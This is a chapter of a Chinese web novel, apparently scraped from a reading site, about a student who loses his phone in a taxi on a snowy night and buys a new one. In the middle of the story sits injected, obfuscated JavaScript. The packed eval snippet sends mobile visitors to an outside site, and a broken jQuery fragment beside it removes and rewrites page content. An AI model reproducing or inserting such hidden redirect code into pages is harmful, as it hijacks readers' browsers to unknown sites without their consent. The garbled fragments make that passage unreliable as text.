时间2024.12.01，00:00:01。林白是在街头发现手机不见的。


    他站在四平师大街头，出租车尾灯在雪幕中远去。


    手机丢了。


    这个认知像一块冰顺着脊椎滑下去。原地不动，鼻头被雪风冻得生疼，雪花落在睫毛上，细微的痒。


    回忆车牌号，只有模糊的“吉C”开头的几个数字，尾号可能是3，也可能是8。深夜的街道空无一人，路灯在雪中晕开昏黄的光圈，像一个个悬浮的、孤独的岛屿。


    必须找回来。这个念头清晰地浮上来，压过了其他情绪。手机里面存的东西太多太杂，早就成了他的一部分自我。


    林白转身往学校方向跑。雪地吸音，脚步声变得沉闷而急促。


    宿舍楼门厅的灯还亮着一盏，守夜大爷在值班室里打盹，林白轻手轻脚回到宿舍间，王青和孙贤易都在深睡，不能吵醒他们。


    他摸黑走到自己桌前小心翼翼翻找。备用手机？没有。电脑倒是有一台，但PC端微信要用手机扫码才能登入。他从来只用一个手机，觉得麻烦。


    现在麻烦来了。


    在黑暗里发了会儿呆。窗外雪还在下，簌簌的声音像某种恐怖的哭声。凌晨，十二月一日刚开始不到二十分钟，世界就给了他一个下马威。


    四平市的出租车管理系统相当完善，每个公司都有值班调度。问题是，他根本没记住车牌号，真是神仙也难救。


    折回值班室，敲了敲窗户。大爷惊醒，揉着眼睛拉开小窗。


    “师傅，请问这附近出租车公司值班电话有吗？”


    大爷睡眼朦胧，从抽屉里翻出个小本。


    “这儿，几个公司的。出啥事了？”


    “手机落车上了。”


    大爷摇头：“哎哟，那可不好找。深更半夜的，司机都交班了。你试试吧，看人家接不接电话。”


    林白借值班室的座机，照着本子上的号码。


    “你好，我手机落在出租车上了，大概十二点零二分的，从火车站到艺高校区，绿色现代车，顶灯写着平安出租……对，没记住车牌……能帮忙查一下吗？”


    等待，电话那头传来敲键盘的声音。漫长的两分钟后，女声说：“这个时间点从火车站到艺高的记录有十几条，没法确定是哪辆。你手机有定位吗？”


    “定位……我试试。”


    他已经用电脑查过了。位置查找功能显示设备离线，如果只是没电自动关机，定位会显示电量耗尽前的最后位置。但现在是被手动关机，这意味着捡到手机的人不想让他找到。


    “是林同学吗？我是平安出租的司机，姓刘。我刚看到公司群里的消息，你说手机落我车上了？”


    “对对，刘师傅，您有看到吗？”


    “我现在就去看，你等等。”电话那头传来窸窸窣窣的穿衣声，还有开门的声音。林白握着听筒，能听见电话那头传来的风雪声。刘师傅应该是从家里出来了。


    “车里我都找遍了，座位底下，缝隙，后备箱……没有。你是不是记错了？或者落在别的车上了？”


    “不可能，我上车时还看了眼时间……”林白的声音低下去，心也彻底沉了下去。最坏的假设成真了。


    “这我们也不好挨个联系乘客……”


    挂断电话时，天已经蒙蒙亮了。雪停了，世界一片素白。林白坐在电脑前，看着定位页面上那个灰色的、静止的小点，感到一种深深的无力。


    雪是从后半夜开始下的。


    白茫茫一片。雪不像北方常有的那种干硬颗粒，而是蓬松湿润的，粘在玻璃上化成细密的水痕。暖冬的雪总是这样，积得厚，却存不住筋骨，一脚踩下去能没到脚踝，抬脚时带起一滩泥泞。


    天泛出白光，扫雪铁锹刮过水泥地的声音刺啦刺啦的。


    “喂？哪位？”妈妈的声音，带着上课时特有的那种温和但略显疲惫的质感。


    “妈，是我。”


    “白仔？”声音瞬间拔高，“你怎么用这个号码？你手机呢？”


    “丢了。”林白尽量说得轻描淡写，但是鼻头忍不住抽气，泛着难忍的酸涩。


    “人没事吧？听声音，你是不是没睡觉？！”


    “……这不重要。但我手机丢了……头好痛。”


    林白声音越来越软，越来越委屈。他知道自己怪不了任何人，是自己的错。最后三个字，糟糕的十二月，他头回和妈妈撒娇。


    “白仔，听妈妈说。手机丢了就丢了，被人捡走就拿走了。你现在马上去做三件事：第一，去挂失手机卡；第二，去买个新手机；第三，回去睡觉。”


    “可是——”


    “没有什么可是。”


    妈妈打断他：“你知道你现在最浪费不起的是什么？是时间。为个物件折腾一晚上，耽误学习，划算吗？”


    “这款新机非常划算！12.1全球同步，最新首发！”营业厅，三星店员热情介绍，“今天本店全场12.1大活动，FE7直降一千二百一十元，送指环式原装壳和充电宝。”


    “就这个吧。”林白让店员直接装好机子，现用。


    付款时刷的是自己的银行卡。妈妈打来的五千块已经到账，付这四千多的机子绰绰有余。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897473|192274||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    走出店门时已经上午九点。林白把白色机身的新手机塞进羽绒服内袋，拉链拉到底。


    他找了家面馆吃早饭。热汤面上来时，听见隔壁桌几个三中的学生在讨论期末考，在抱怨社团的色彩构成作业太难，老师要求用冷暖色调表现“孤独”。


    林白低头吃面，孤独一直是贯彻人生的一个主题，就像他此时头痛难掩的一天。


    差不多十点，火车站应该上班了，手机丢失给他留下了很大的心理阴影。至少在今天，林白不愿意相信移动端了。


    “学生证。”售票窗口里的大姐头也不抬。他揣着新手机，办理实体车票。


    车票是浅蓝色的，2024年12月21日，四平-福州，小心地把它和新办的身份证一起塞进羽绒服内袋。


    回学校的路上，天色彻底亮起来了。有人在打雪仗，笑声尖锐地划破寂静。林白绕开，踩着人行道上被踩实的前人的脚印留痕，“咯吱咯吱”。


    宿舍暖气很足，他脱了外套挂好，拿出新手机摆弄。电话号码全部冻结，挨个重新登陆，虽然琐碎但必要。


    王青瞥了一眼：“新手机？”


    “嗯。”


    “旧的不去新的不来。”


    林白笑了，爬上床，衣服都没脱，拉过被子盖住自己。


    阳光缝隙漏进来，在墙上切出一道金色的光带。外面隐约传来学生们的喧闹声，走廊里有人走动，水房传来水流声。


    一切如常。


    世界没有因为一部手机的丢失而停止运转。


    他给手机下好了常见软件，新鲜的手机总归是好玩的，他强撑着把新机处理成自己熟悉的样子。


    现在的新手机，整体看起来更整洁了。微信，省队群在发训练通知，他一一回复，解释，道歉。最后点开妈妈的聊天窗口，输入：“手机买好了，票也订了。”


    消息几乎秒回：“什么牌子？好用吗？”


    “三星折叠屏，有活动，挺好用的。”


    可能很多年以后，林白会忘记某一次跳跃的具体高度，忘记某一场比赛的分数，甚至忘记某一块奖牌是金是银。但他大概会记得，今凌晨夜深，独自坐着，听窗外雪落，知道明天冰场又会铺满新的、平整的冰，等待第一道痕。


    时间浇冻，覆盖，变得模糊，最终消失不见。林白把眼睛闭上了。窗外的雪还在下，悄无声息地，落向这片被冰雪覆盖了很多年、也将会被冰雪继续覆盖很多年的土地。


    远处，城市的光晕在雪幕后面洇开，朦朦胧胧的，像是另一块更大的、不会融化的冰。


    林白关上了窗户。